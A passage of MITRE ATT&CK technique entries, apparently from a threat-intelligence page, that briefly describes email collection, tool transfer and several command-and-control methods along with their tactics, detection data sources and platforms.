Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre